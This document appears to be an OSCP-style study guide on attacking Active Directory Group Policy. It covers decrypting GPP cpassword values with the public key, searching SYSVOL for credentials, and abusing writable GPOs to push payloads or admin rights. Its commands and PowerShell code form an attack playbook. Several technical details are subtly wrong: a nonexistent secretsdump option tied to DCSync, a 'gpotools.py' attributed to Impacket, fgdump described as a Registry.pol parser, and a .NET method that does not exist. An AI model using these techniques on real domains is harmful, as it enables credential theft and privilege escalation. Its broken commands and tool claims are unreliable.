Group Policy Analysis
Group Policy Objects (GPOs) are one of the most commonly exploited vectors in OSCP Active Directory labs. GPOs provide centralized configuration management, but misconfigurations can lead to credential exposure, privilege escalation, and full domain compromise.
1. GPO Structure and Storage
Two Storage Locations
GPO data is stored in two places:
| Location | Content | Accessibility |
|---|---|---|
| AD Database (NTDS.dit) | GPO object metadata, links to OUs, versions, security filtering, WMI filters | Readable via LDAP by domain users |
| SYSVOL (File Share) | Actual policy files (XML, Registry.pol, scripts) | Readable by all domain users via \\DOMAIN\SYSVOL |
SYSVOL Structure Detail
\\DOMAIN\SYSVOL\DOMAIN\
└── Policies\
└── {GPO-GUID}\
├── Machine\ ← Computer configuration
│ ├── Preferences\
│ │ ├── Groups\
│ │ │ └── Groups.xml ← cpassword, restricted groups
│ │ ├── ScheduledTasks\
│ │ │ └── ScheduledTasks.xml ← scheduled task credentials
│ │ ├── Drives\
│ │ │ └── Drives.xml ← drive map credentials
│ │ ├── Services\
│ │ │ └── Services.xml ← service credentials
│ │ ├── Shortcuts\
│ │ │ └── Shortcuts.xml ← shortcut configurations
│ │ ├── IniFiles\
│ │ │ └── IniFiles.xml ← INI file configurations
│ │ ├── Registry\
│ │ │ └── Registry.xml ← registry preferences
│ │ └── Printers\
│ │ └── Printers.xml ← printer configurations
│ └── Registry.pol ← compiled policy settings
│
├── User\ ← User configuration
│ └── Preferences\
│ └── (same structure as Machine)
│
└── Backup\
└── backup.xml ← GPO backup metadata
GPO Processing Order: SODOU
GPOs are applied in this order (last one wins for conflicting settings):
Processing Order (SODOU):
═════════════════════════
1. Site → GPOs linked to the AD Site
2. Domain → GPOs linked to the Domain
3. OU → GPOs linked to the Organizational Unit
4. OU → GPOs linked to child OUs (in order)
Last GPO processed = highest priority
Enforced GPOs ("No Override"):
└── Applied LAST regardless of order
└── Cannot be blocked by "Block Inheritance"
GPO Refresh Interval
| Setting | Value |
|---|---|
| Computer Policy Refresh | Every 90 minutes ± 30 minutes random offset |
| User Policy Refresh | Every 90 minutes ± 30 minutes random offset (at logon and every restart) |
| Force Update | gpupdate /force (immediate) |
| Registry Key | HKLM\SOFTWARE\Policies\Microsoft\Windows\Group Policy\{F33973C9-3E11-47DC-8235-9573E9848D06} |
2. GPP Password Decryption (CRITICAL for OSCP)
The Vulnerability
Group Policy Preferences (GPP) allowed administrators to create local user accounts, set service credentials, and configure drive maps with passwords. These passwords were stored as AES-256 encrypted values in XML files using the cpassword attribute.
The critical flaw: The AES decryption key is public and hardcoded. Microsoft could not rotate it without breaking backward compatibility with existing GPOs.
The Public AES Key
4e9906e8fcb66cc9faf49310620ffee1f496e503f82be10823ef07f039689688
Example cpassword in XML
<!-- Groups.xml — Local User Creation -->
<Users clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-58E8-4155-9035-6F7E385B25E7}"
name="BackupAdmin" image="2" changed="2023-01-15 10:30:00"
uid="{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}">
<Properties action="C" username="BackupAdmin" password=
"edBSHOwhZLYTK2x0EsozJKsB0k0LJbQ1mOYWmP0kwQMOO3+Cvq5ZoLdp"
changeLogon="1" noLogon="0" desc="Backup account"
logonScript="" profile="" homeDir=""/>
</User>
</Users>
<!-- The cpassword value "edBSHOwhZLYTK2x0EsozJKsB0k0LJbQ1mOYWmP0kwQMOO3+Cvq5ZoLdp"
decrypts to: "GPP@ssw0rd!" (example) -->
Decryption Methods
Method 1: CrackMapExec
# Find and decrypt GPP passwords
crackmapexec smb DC_IP -u user -p password --gpp-passwords
# Attempt to exploit GPP (autopwn)
crackmapexec smb DC_IP -u user -p password --gpp-autopwn
Method 2: Impacket
# Extract GPP passwords via DCSync
secretsdump.py --gpp DOMAIN/user:password@DC_IP
Method 3: Python gpp-decrypt
# Using the gpp-decrypt Python tool
python3 gpp-decrypt.py "edBSHOwhZLYTK2x0EsozJKsB0k0LJbQ1mOYWmP0kwQMOO3+Cvq5ZoLdp"
# Output: GPP@ssw0rd!
Method 4: Manual PowerShell Decryption
function Get-GPPPassword {
param([string]$cpassword)
# The public AES key
$key = [Convert]::FromByteArray(@(
0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,
0xfa,0xf4,0x93,0x10,0x62,0x0f,0xee,0xe1,
0xf4,0x96,0xe5,0x03,0xf8,0x2b,0xe1,0x08,
0x23,0xef,0x07,0xf0,0x39,0x68,0x96,0x88
))
# Decode the ciphertext
$ciphertext = [Convert]::FromBase64String($cpassword)
# Pad to 16-byte boundary
$padding = 16 - ($ciphertext.Length % 16)
if ($padding -ne 16) {
$ciphertext = $ciphertext + ([byte[]]@(0) * $padding)
}
# AES-CBC with IV of all zeros
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$aes.Key = $key
$aes.IV = ,[byte[]]@(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
$decryptor = $aes.CreateDecryptor()
$plain = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
# Return the decrypted password (Unicode, null-terminated)
[System.Text.Encoding]::Unicode.GetString($plain).TrimEnd([char]0)
}
# Usage
Get-GPPPassword "edBSHOwhZLYTK2x0EsozJKsB0k0LJbQ1mOYWmP0kwQMOO3+Cvq5ZoLdp"
Method 5: Manual Search in SYSVOL
# Search for cpassword in SYSVOL
findstr /S /I cpassword \\DOMAIN\SYSVOL\DOMAIN\Policies\*.xml
# Using PowerShell
Get-ChildItem \\DOMAIN\SYSVOL\DOMAIN\Policies\ -Recurse -Filter "*.xml" |
Select-String "cpassword" -List |
Select-Object Path, Line
3. GPO Attack Vectors
Detailed Attack Vector Table
| Vector | Description | Required Access | Exploitation Steps |
|---|---|---|---|
| cpassword in GPP | GPP stores passwords as AES-256 encrypted cpassword in XML files. The decryption key is public. |
Read access to SYSVOL (all domain users) | 1. Search SYSVOL for cpassword in XML files2. Decrypt using the public AES key 3. Use the plaintext password |
| Restricted Groups | GPO can force users into privileged groups (e.g., local Administrators). The configuration is stored in Groups.xml. |
Write access to the GPO | 1. Modify GPO to add yourself to a privileged group 2. Run gpupdate /force on target3. Gain elevated group membership |
| Scheduled Tasks | GPO can create scheduled tasks that run as SYSTEM or high-privilege users. The task configuration may include credentials. | Write access to the GPO | 1. Modify the scheduled task to run your payload 2. Wait for next execution (or trigger manually) 3. Gain code execution as the task’s user |
| Service Preferences | GPO can configure Windows services with specific credentials. These credentials are stored in Services.xml. |
Write access to the GPO | 1. Read Services.xml for cpassword values2. Decrypt the credentials 3. Use the credentials for authentication |
| Drive Maps | GPO can auto-mount network shares with credentials. The credentials are stored in Drives.xml. |
Read access to SYSVOL | 1. Read Drives.xml for cpassword values2. Decrypt the credentials 3. Use the credentials to access the share |
| Logon Scripts | Scripts deployed via GPO may contain hardcoded credentials, API keys, or sensitive configuration. | Read access to SYSVOL | 1. Read scripts in \\DOMAIN\SYSVOL\DOMAIN\Scripts\2. Search for credentials, passwords, API keys 3. Use discovered credentials |
| GPO ACL Modification | If you have Write access to a GPO, you can modify it to escalate privileges. | WriteDACL, GenericAll, or GenericWrite on the GPO | 1. Modify GPO to add yourself to Administrators 2. Wait for GPUpdate (or force: gpupdate /force)3. Gain elevated access |
4. GPO ACL Abuse
Finding GPOs with Weak ACLs
# Check who can modify each GPO
Get-GPO -All | ForEach-Object {
$gpo = $_
$acl = Get-Acl "GPO:\$($gpo.DisplayName)"
$weak = $acl.Access | Where-Object {
($_.AccessRights -match "Write|GenericAll|GenericWrite|AllExtendedRights") -and
($_.IdentityReference -match "Authenticated Users|Domain Users|Users|$env:USERNAME")
}
if ($weak) {
Write-Host "[$($gpo.DisplayName)] WEAK ACL:" -ForegroundColor Red
$weak | Format-Table IdentityReference, AccessRights, AccessControlType
}
}
GPO ACL Abuse Attack Chain
Attack Flow:
═══════════
1. Identify a GPO you can modify
→ Check ACLs: Get-Acl "GPO:\GPO_Name"
→ Look for WriteDACL, GenericAll, GenericWrite, AllExtendedRights
2. Modify the GPO
→ Option A: Add yourself to local Administrators via Restricted Groups
→ Option B: Create a scheduled task that runs your payload as SYSTEM
→ Option C: Create a service that runs your payload with high privileges
→ Option D: Add a logon script that exfiltrates credentials
3. Wait for GPUpdate (or force it)
→ gpupdate /force (on the target machine)
→ Or wait 90 minutes for automatic refresh
4. Gain elevated access
→ The GPO applies your modifications
→ You now have elevated privileges on affected machines
Using Impacket to Exploit GPO ACLs
# Add a user to a group via GPO (if you have write access)
gpotools.py DOMAIN/user:password@DC_IP -gpo "GPO_Name" \
-action add-user-to-group -username target_user -group "Administrators"
# Modify GPO scheduled task
gpotools.py DOMAIN/user:password@DC_IP -gpo "GPO_Name" \
-action add-scheduled-task -taskname "Update" -command "powershell.exe -enc BASE64_PAYLOAD"
5. GPO Enumeration Commands
PowerShell
# All GPOs
Get-GPO -All
# GPO report (XML — most detailed)
Get-GPOReport -Name "GPO_Name" -ReportType XML
# GPO report (HTML — more readable)
Get-GPOReport -Name "GPO_Name" -ReportType HTML
# GPO permissions
Get-GPO -All | ForEach-Object {
Write-Host "=== $($_.DisplayName) ===" -ForegroundColor Cyan
Get-GPPermission -Name $_.DisplayName -All
}
# GPOs linked to specific OU
Get-GPO -All | Where-Object { $_.LinksTo -like "*OU=Servers*" }
# GPO details
Get-GPO -Name "GPO_Name" | Select-Object DisplayName, Description, Owner, \
@{N='LinksTo';E={$_.LinksTo -join "; "}}
CrackMapExec / NetExec
# GPP password search
crackmapexec smb DC_IP -u user -p password --gpp-passwords
# GPP autopwn
crackmapexec smb DC_IP -u user -p password --gpp-autopwn
BloodHound
# In BloodHound UI:
# 1. Run query: "Find all GPOs that user can modify"
# 2. Run query: "Find shortest path to Domain Admins"
# 3. Look for GPO-based paths (GPLink edges)
# 4. Check GPO nodes for weak ACLs
6. Registry.pol Analysis
What is Registry.pol?
Registry.pol is a compiled binary file that contains the administrative template settings (Computer Configuration → Policies → Administrative Templates) for a GPO. It is stored in:
\\DOMAIN\SYSVOL\DOMAIN\Policies\{GPO-GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
Or directly as:
\\DOMAIN\SYSVOL\DOMAIN\Policies\{GPO-GUID}\Machine\Registry.pol
Parsing Registry.pol
# Using fgdump (from pwsafe-tools)
fgdump Registry.pol
# Using GPOZaurr (PowerShell module)
Import-Module GPOZaurr
Get-GPOPrefRegistry -Path "Registry.pol"
# Using secretsdump.py
secretsdump.py --ntds-nodump --residuals DOMAIN/user:password@DC_IP
What Secrets Can Be Found
| Setting | What It Reveals |
|---|---|
| Restricted Groups | Forced group memberships (local admin, etc.) |
| Scheduled Tasks | Task configurations, credentials |
| Services | Service accounts, credentials |
| Registry Preferences | Stored passwords in registry values |
| Logon Scripts | Script paths and configurations |
OSCP Exam Checklist: Group Policy Analysis
Must-Know Concepts
- GPOs are stored in AD (metadata) and SYSVOL (actual files)
- GPO processing order: Site → Domain → OU (last wins)
- GPP cpassword uses a public AES-256 key — always decrypt
- The GPP AES key:
4e9906e8fcb66cc9faf49310620ffee1f496e503f82be10823ef07f039689688 - SYSVOL is readable by all domain users
- GPO ACL abuse: if you have Write access, you can modify the GPO
- Restricted Groups can force you into privileged groups
- Scheduled Tasks in GPOs can run as SYSTEM
- Registry.pol contains compiled policy settings (parse with fgdump)
- GPO refresh: 90 minutes ± 30 minutes, or
gpupdate /force
Must-Remember Commands
# Find GPP passwords
crackmapexec smb DC_IP -u user -p pass --gpp-passwords
# Search SYSVOL manually
findstr /S /I cpassword \\DOMAIN\SYSVOL\DOMAIN\Policies\*.xml
# GPO report
Get-GPOReport -Name "GPO_Name" -ReportType XML
# Check GPO ACLs
Get-Acl "GPO:\GPO_Name"
# Force GPO update
gpupdate /force